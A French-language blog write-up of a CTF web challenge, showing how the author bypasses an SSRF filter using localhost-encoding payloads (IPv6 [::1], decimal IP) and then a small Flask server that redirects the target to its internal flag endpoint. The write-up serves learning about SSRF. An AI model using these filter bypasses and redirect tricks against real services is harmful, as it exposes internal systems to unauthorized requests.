Title image
Security blog

Midnight CTF Disparity-Players write up


Reconnaissance

Après une vite analyse du code on se rend compte que le flag sera donnée par un appel au back avec l’url http://localhost:8080/flag.php




Une fois cela en tête on peut essayé différent payload pour réalise une SSRF




Mais on est vite blocker par la “sécurité” mise en place 🤓 :




gethostbyname() nous empêche de faire un DNS rebinding comme mit dans le commentaire, quant a la regex elle me semble un peut juste pour filtrer tous les paylaods SSRF.

SSRF Injection ?

J’ai donc testé plusieurs payload à savoir

1
2
3
4
http://0/ --> ❌
http://127.1 --> ❌
http://2130706433/ ❌
http://[::1]:80/ ✅

Avec le payload en IPV6 j’arrive à bypass la regex, mais je me rend compte que mon url utilisé par la suite est mauvais : http://::1:8080/flag.php, en effet il a été cassé lors de la gethostbyname(). Après plusieurs testes avec d’autre payload toujours rien de concluant …

J’opte donc pour tester une SSRF par redirection, je code un rapide server python avec flask :

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/")
def redirectLocalhost():
return redirect("http://localhost:8080/flag.php")

if __name__ == "__main__":
app.run(host="0.0.0.0", port=4444)

Avec un petit Dockerfile fait par le goat GPT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Utilise une image Python légère
FROM python:3.10-slim
# Empêche les prompts pendant l'installation
ENV DEBIAN_FRONTEND=noninteractive
# Crée un dossier pour l'app
WORKDIR /app
# Copie le code de l'application
COPY main.py .
# Installe Flask
RUN pip install flask
# Expose le port sur lequel Flask tourne
EXPOSE 10405
# Commande pour lancer l'app
CMD ["python", "main.py"]

Un fois démarrer j’ai bien une ip différente de 127.0.0.1, car je l’ai lancé sur 0.0.0.0
J’envoie cette adresse dans le formulaire .. Et bingo, le flag s’affiche !

Conclusion

Challenge vraiment cool première fois que je voyais une SSRF par redirection dans un challenge, donc vraiment cool de voir le sujet en pratique apprendre plus sur Server-side request forgery en générale 🫶







flag{SuP3R_S3cr3T_Fl4G}


© - JeanLouis - 2025